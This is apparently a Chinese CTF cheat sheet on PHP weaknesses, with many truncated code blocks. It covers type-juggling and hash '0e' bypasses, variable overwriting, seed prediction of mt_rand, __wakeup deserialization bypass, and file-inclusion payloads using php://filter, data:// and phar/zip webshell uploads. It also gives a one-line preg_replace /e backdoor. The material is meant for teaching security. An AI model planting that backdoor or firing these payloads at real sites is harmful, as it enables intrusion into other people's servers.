php知识
# 系统变量
1 | $_POST // 获取 post 数据,是一个字典 |
# 错误控制运算符
PHP 支持一个错误控制运算符:@。当将其放置在一个 PHP 表达式之前,该表达式可能产生的任何错误信息都被忽略掉。
# 变量默认值
当定义一个变量,如果没有设置值,默认为 0
# $_GET 和 $_POST
1 | http://ctf4.shiyanbar.com/web/false.php?name[]=a&password[]=b |
如果 GET 参数中设置 name[]=a ,那么 $_GET['name'] = [a] ,php 会把 []=a 当成数组传入, $_GET 会自动对参数调用 urldecode 。
$_POST 同样存在此漏洞,提交的表单数据, user[]=admin , $_POST['user'] 得到的是 ['admin'] 是一个数组。
# 内置函数的松散性
strcmp
strcmp 函数的输出含义如下:
如果 str1 小于 str2 返回 < 0;
如果 str1 大于 str2 返回 > 0;
如果两者相等,返回 0。
- 5.2 中是将两个参数先转换成 string 类型。
- 5.3.3 以后,当比较数组和字符串的时候,返回是 0。
- 5.5 中如果参数不是 string 类型,直接 return 了
1 | $array=[1, 2, 3]; |
sha1 和 md5 函数
md5 和 sha1 无法处理数组,但是 php 没有抛出异常,直接返回 fasle
1 | sha1([]) === false |
弱类型
当一个整形和一个其他类型行比较的时候,会先把其他类型 intval 再比较
intval
intval () 在转换的时候,会从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串,intval () 不会报错而是返回 0。
1 | var_dump(intval('2')) // 2 |
这个时候 $a 的值有可能是 1002 union…
1 | if(intval($a) > 1000) { |
is_numeric
PHP 提供了 is_numeric 函数,用来变量判断是否为数字。但是函数的范围比较广泛,不仅仅是十进制的数字。
1 |
|
in_array
in_array 函数用来判断一个值是否在某一个数组列表里面,通常判断方式如下:
1 | in_array('b', array('a', 'b', 'c'); |
这段代码的作用是过滤 GET 参数 typeid 在不在 1,2,3,4 这个数组里面。但是,in_array 函数存在自动类型转换。如果请求, typeid=1’ union select.. 也能通过 in_array 的验证
1 | if (in_array($_GET('typeid'], array(1, 2, 3, 4))) { |
== 和 ===
==是弱类型的比较===比较符则可以避免这种隐式转换,除了检查值还检查类型。
以下比较的结果都为 true
1 | // 0x 开头会被当成16进制54975581388的16进制为 0xccccccccc |
hash 比较的问题
0e 开头且后面都是数字会被当作科学计数法,也就是等于 0*10^xxx=0。如果 md5 是以 0e 开头,在做比较的时候,可以用这种方法绕过。
1 | // '0e5093234' 为 0,'0eabc3234' 不为 0 |
如果要找出 0e 开头的 hash 碰撞,可以用如下代码
1 |
|
switch
如果 switch 是数字类型的 case 的判断时, switch 会将其中的参数转换为 int 类型。
1 | $i ="2abc"; |
这个时候程序输出的是 i is less than 3 but not negative,是由于 switch () 函数将 $i 进行了类型转换,转换结果为 2。
# 正则表达式
preg_match
如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束 ( ^ 和 $ ),则可以存在绕过的问题
1 | $ip = '1.1.1.1 abcd'; // 可以绕过 |
ereg %00 截断
ereg 读到 %00 的时候,就截止了
1 |
|
这里 a=abcd%001234 ,可以绕过
# 变量覆盖
extract
extract () 函数从数组中把变量导入到当前的符号表中。对于数组中的每个元素,键名用于变量名,键值用于变量值。
1 |
|
parse_str
parse_str () 的作用是解析字符串,并注册成变量。与 parse_str () 类似的函数还有 mb_parse_str (),parse_str 将字符串解析成多个变量,如果参数 str 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域。
1 | //var.php?var=new |
$$ 变量覆盖
如果把变量本身的 key 也当变量,也就是使用了 $$ ,就可能存在问题。
1 | $_ = '_POST'; |
例子
1 | // http://127.0.0.1/index.php?_CONFIG=123 |
unset
unset($bar); 用来销毁指定的变量,如果变量 $bar 包含在请求参数中,可能出现销毁一些变量而实现程序逻辑绕过。
# 特殊的 PHP 代码格式
以这种后缀结尾的 php 文件也能被解析,这是在 fast-cgi 里面配置的
- .php2
- .php3
- .php4
- .php5
- .php7
- .phtml
正则检测文件内容中包含 <? 就异常退出,通常的 PHP 代码就不行了,可以使用这种方式绕过
1 | <script language="php"> |
效果等于 echo ‘a’;
1 | 'a'; |
如果在 php.ini 文件中配置允许 ASP 风格的标签
1 | ; Allow ASP-style <% %> tags. |
则可以使用该方式
1 | <% echo 'a'; %> |
# 伪随机数
mt_rand()
mt_rand () 函数是一个伪随机发生器,即如果知道随机数种子是可以预测的。
1 | $seed = 12345; |
linux 64 位系统中,rand () 和 mt_rand () 产生的最大随机数都是 2147483647,正好是 2^31-1,也就是说随机播种的种子也是在这个范围中的,0 – 2147483647 的这个范围是可以爆破的。
但是用 php 爆破比较慢,有一个 C 的版本,可以根据随机数,爆破出种子 php_mt_seed。
在 php > 4.2.0 的版本中,不再需要用 srand () 或 mt_srand () 函数给随机数发生器播种,现已由 PHP 自动完成。php 中产生一系列的随机数时,只进行了一次播种,而不是每次调用 mt_rand () 都进行播种。
rand()
rand () 函数在产生随机数的时候没有调用 srand (),则产生的随机数是有规律可询的。具体的说明请看这里。产生的随机数可以用下面这个公式预测:
1 | # 一般预测值可能比实际值要差1 |
可以用下面的代码验证一下
1 |
|
# 反序列化
- __construct ():构造函数,当对象创建 (new) 时会自动调用。但在 unserialize () 时是不会自动调用的。
- __destruct ():析构函数,当对象被销毁时会自动调用。
- __wakeup () :如前所提,unserialize () 时会自动调用。
PHP unserialize() 后会导致 __wakeup() 或 __destruct() 的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞 / 危害代码在 __wakeup() 或 __destruct() 中。
__wakeup 函数绕过
PHP 有个 Bug,如果反序列化出现问题,会不去执行 __wakeup 函数,例如:
1 |
|
使用这个 payload 绕过 __wakeup 函数
1 | # O:4:"xctf":1:{s:4:"flag";s:3:"111";} |
在字符串中,前面的数字代表的是后面字符串中字符的个数,如果数字与字符个数不匹配的话,就会报错,因此将 1 改成 2 就会产生报错,导致不会去执行 __wakeup 函数,从而绕过该函数。
# 文件包含
1 | http://10.2.1.1:20770/index.php?page=upload |
这种 url 很容易就能想到可能是文件包含或者伪协议读取
1 | http://10.2.1.1:20770/index.php?page=php://filter/read=convert.base64-encode/resource=upload |
# 命令执行
反引号 `
反引号 ` 可以调用 shell_exec 正常执行代码
1 | `$_GET['v']` 相当于 shell_exec($_GET['v']) |
preg_replace()
触发条件:
- 第一个参数需要 e 标识符,有了它可以执行第二个参数的命令
- 第一个参数需要在第三个参数中的中有匹配,不然 echo 会返回第三个参数而不执行命令,举个例子:
1 | // 这样是可以执行命令的 |
我们可以构造这样的后门代码
1 | @preg_replace("//e", $_GET['h'], "Access Denied"); |
当访问这样这样的链接时就可以被触发
1 | http://localhost:8000/testbug.php?h=phpinfo(); |
# 伪协议
# php://filter
读取文件
1 | /lfi.php?file=php://filter/convert.base64-encode/resource=flag.php |
# php://input
写入文件, 数据利用 POST 传过去
1 | /test.php?file=php://input |
# data://
将 include 的文件流重定向到用户控制的输入流
1 | /test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpO2V4aXQoKTsvLw== |
可以用于控制 file_get_contents 的内容为用户输入的流
1 | $file=$_GET['file']; |
# phar://
发现有一个文件上传功能,无法绕过,仅能上传 jpg 后缀的文件。与此同时,无法进行文件包含截断。allow_url_include=on 的状态下,就可以考虑 phar 伪协议绕过。
写一个 shell.php 文件,里面包含一句话木马。然后,压缩成 xxx.zip。然后改名为 xxx.jpg 进行上传。最后使用 phar 进行包含
这里的路径为上传的 jpg 文件在服务器的路径
1 | /index.php?id=phar://路径/xxx.jpg/shell |
# zip://
上述 phar:// 的方法也可以使用 zip://
然后吧 1.php 文件压缩成 zip,再把 zip 的后缀改为 png,上传上去,并且可以获得上传上去的 png 的地址。
1.zip 文件内仅有 1.php 这个文件
1 | /php?file=zip://1.png%231.php |









